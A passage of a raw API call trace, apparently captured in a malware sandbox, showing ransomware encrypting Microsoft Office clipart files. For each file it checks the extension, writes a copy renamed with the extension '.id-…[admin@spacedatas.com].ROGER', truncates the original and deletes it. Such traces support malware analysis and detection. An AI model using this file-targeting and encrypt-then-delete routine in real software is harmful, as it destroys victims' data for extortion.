Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.267] lstrlenW (lpString=".doc") returned 4 [0057.267] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.267] lstrlenW (lpString=".docx") returned 5 [0057.267] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.267] lstrlenW (lpString=".pdf") returned 4 [0057.267] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.267] lstrlenW (lpString=".xls") returned 4 [0057.267] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.267] lstrlenW (lpString=".xlsx") returned 5 [0057.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.267] lstrlenW (lpString=".ppt") returned 4 [0057.267] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.267] lstrlenW (lpString=".zip") returned 4 [0057.267] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.267] lstrlenW (lpString=".rar") returned 4 [0057.267] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.267] lstrlenW (lpString=".bz2") returned 4 [0057.267] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.267] lstrlenW (lpString=".7z") returned 3 [0057.267] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.267] lstrlenW (lpString=".dbf") returned 4 [0057.267] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.267] lstrlenW (lpString=".1cd") returned 4 [0057.267] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.267] lstrlenW (lpString=".jpg") returned 4 [0057.267] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.268] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0057.268] lstrlenW (lpString="AG00169_.GIF") returned 12 [0057.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0057.268] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=5375) returned 1 [0057.268] CloseHandle (hObject=0x414) returned 1 [0057.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0057.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0057.268] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.268] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0057.269] GetLastError () returned 0x0 [0057.269] ReadFile (in: hFile=0x414, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x14ff, lpOverlapped=0x0) returned 1 [0057.312] WriteFile (in: hFile=0x418, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x1500, lpOverlapped=0x0) returned 1 [0057.318] ReadFile (in: hFile=0x414, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.318] WriteFile (in: hFile=0x418, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.319] SetEndOfFile (hFile=0x418) returned 1 [0057.319] CloseHandle (hObject=0x418) returned 1 [0057.319] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.319] SetEndOfFile (hFile=0x414) returned 1 [0057.320] CloseHandle (hObject=0x414) returned 1 [0057.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0057.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.327] lstrlenW (lpString=".doc") returned 4 [0057.327] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.327] lstrlenW (lpString=".docx") returned 5 [0057.327] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.327] lstrlenW (lpString=".pdf") returned 4 [0057.327] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.327] lstrlenW (lpString=".xls") returned 4 [0057.327] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.327] lstrlenW (lpString=".xlsx") returned 5 [0057.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.327] lstrlenW (lpString=".ppt") returned 4 [0057.327] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.327] lstrlenW (lpString=".zip") returned 4 [0057.327] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.327] lstrlenW (lpString=".rar") returned 4 [0057.327] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.327] lstrlenW (lpString=".bz2") returned 4 [0057.327] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.327] lstrlenW (lpString=".7z") returned 3 [0057.327] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.327] lstrlenW (lpString=".dbf") returned 4 [0057.327] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.327] lstrlenW (lpString=".1cd") returned 4 [0057.328] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.328] lstrlenW (lpString=".jpg") returned 4 [0057.328] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.328] lstrlenW (lpString=".doc") returned 4 [0057.328] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.328] lstrlenW (lpString=".docx") returned 5 [0057.328] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.328] lstrlenW (lpString=".pdf") returned 4 [0057.328] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.328] lstrlenW (lpString=".xls") returned 4 [0057.328] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.328] lstrlenW (lpString=".xlsx") returned 5 [0057.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.328] lstrlenW (lpString=".ppt") returned 4 [0057.328] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.328] lstrlenW (lpString=".zip") returned 4 [0057.328] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.328] lstrlenW (lpString=".rar") returned 4 [0057.328] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.328] lstrlenW (lpString=".bz2") returned 4 [0057.328] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.328] lstrlenW (lpString=".7z") returned 3 [0057.328] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.328] lstrlenW (lpString=".dbf") returned 4 [0057.328] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.328] lstrlenW (lpString=".1cd") returned 4 [0057.328] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0057.329] lstrlenW (lpString=".jpg") returned 4 [0057.329] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.329] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0057.329] lstrlenW (lpString="AG00174_.GIF") returned 12 [0057.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0057.341] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=3966) returned 1 [0057.341] CloseHandle (hObject=0x3d8) returned 1 [0057.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0057.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0057.354] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.356] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0057.363] GetLastError () returned 0x0 [0057.363] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0xf7e, lpOverlapped=0x0) returned 1 [0057.387] WriteFile (in: hFile=0x414, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xf80, lpOverlapped=0x0) returned 1 [0057.388] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.388] WriteFile (in: hFile=0x414, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.388] SetEndOfFile (hFile=0x414) returned 1 [0057.388] CloseHandle (hObject=0x414) returned 1 [0057.389] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.389] SetEndOfFile (hFile=0x3d8) returned 1 [0057.389] CloseHandle (hObject=0x3d8) returned 1 [0057.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0057.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.395] lstrlenW (lpString=".doc") returned 4 [0057.395] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.395] lstrlenW (lpString=".docx") returned 5 [0057.395] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.395] lstrlenW (lpString=".pdf") returned 4 [0057.395] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.395] lstrlenW (lpString=".xls") returned 4 [0057.395] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.395] lstrlenW (lpString=".xlsx") returned 5 [0057.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.395] lstrlenW (lpString=".ppt") returned 4 [0057.395] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.395] lstrlenW (lpString=".zip") returned 4 [0057.395] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.395] lstrlenW (lpString=".rar") returned 4 [0057.395] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.395] lstrlenW (lpString=".bz2") returned 4 [0057.395] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.395] lstrlenW (lpString=".7z") returned 3 [0057.395] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.395] lstrlenW (lpString=".dbf") returned 4 [0057.395] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.395] lstrlenW (lpString=".1cd") returned 4 [0057.395] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.395] lstrlenW (lpString=".jpg") returned 4 [0057.395] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.396] lstrlenW (lpString=".doc") returned 4 [0057.396] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.396] lstrlenW (lpString=".docx") returned 5 [0057.396] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.396] lstrlenW (lpString=".pdf") returned 4 [0057.396] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.396] lstrlenW (lpString=".xls") returned 4 [0057.396] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.396] lstrlenW (lpString=".xlsx") returned 5 [0057.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.396] lstrlenW (lpString=".ppt") returned 4 [0057.396] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.396] lstrlenW (lpString=".zip") returned 4 [0057.396] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.396] lstrlenW (lpString=".rar") returned 4 [0057.396] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.396] lstrlenW (lpString=".bz2") returned 4 [0057.396] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.396] lstrlenW (lpString=".7z") returned 3 [0057.396] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.396] lstrlenW (lpString=".dbf") returned 4 [0057.396] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.396] lstrlenW (lpString=".1cd") returned 4 [0057.396] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0057.396] lstrlenW (lpString=".jpg") returned 4 [0057.396] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.397] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0057.397] lstrlenW (lpString="AN00853_.WMF") returned 12 [0057.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.397] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=20578) returned 1 [0057.397] CloseHandle (hObject=0x3e0) returned 1 [0057.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0057.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.397] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.397] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0057.398] GetLastError () returned 0x0 [0057.398] ReadFile (in: hFile=0x3e0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x5062, lpOverlapped=0x0) returned 1 [0057.403] WriteFile (in: hFile=0x358, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x5070, lpOverlapped=0x0) returned 1 [0057.404] ReadFile (in: hFile=0x3e0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.404] WriteFile (in: hFile=0x358, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.404] SetEndOfFile (hFile=0x358) returned 1 [0057.404] CloseHandle (hObject=0x358) returned 1 [0057.404] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.405] SetEndOfFile (hFile=0x3e0) returned 1 [0057.405] CloseHandle (hObject=0x3e0) returned 1 [0057.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0057.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.406] lstrlenW (lpString=".doc") returned 4 [0057.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.406] lstrlenW (lpString=".docx") returned 5 [0057.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.406] lstrlenW (lpString=".pdf") returned 4 [0057.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.406] lstrlenW (lpString=".xls") returned 4 [0057.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.406] lstrlenW (lpString=".xlsx") returned 5 [0057.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.406] lstrlenW (lpString=".ppt") returned 4 [0057.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.406] lstrlenW (lpString=".zip") returned 4 [0057.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.406] lstrlenW (lpString=".rar") returned 4 [0057.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.406] lstrlenW (lpString=".bz2") returned 4 [0057.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.406] lstrlenW (lpString=".7z") returned 3 [0057.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.407] lstrlenW (lpString=".dbf") returned 4 [0057.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.407] lstrlenW (lpString=".1cd") returned 4 [0057.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.407] lstrlenW (lpString=".jpg") returned 4 [0057.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.407] lstrlenW (lpString=".doc") returned 4 [0057.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.407] lstrlenW (lpString=".docx") returned 5 [0057.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.407] lstrlenW (lpString=".pdf") returned 4 [0057.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.407] lstrlenW (lpString=".xls") returned 4 [0057.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.407] lstrlenW (lpString=".xlsx") returned 5 [0057.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.407] 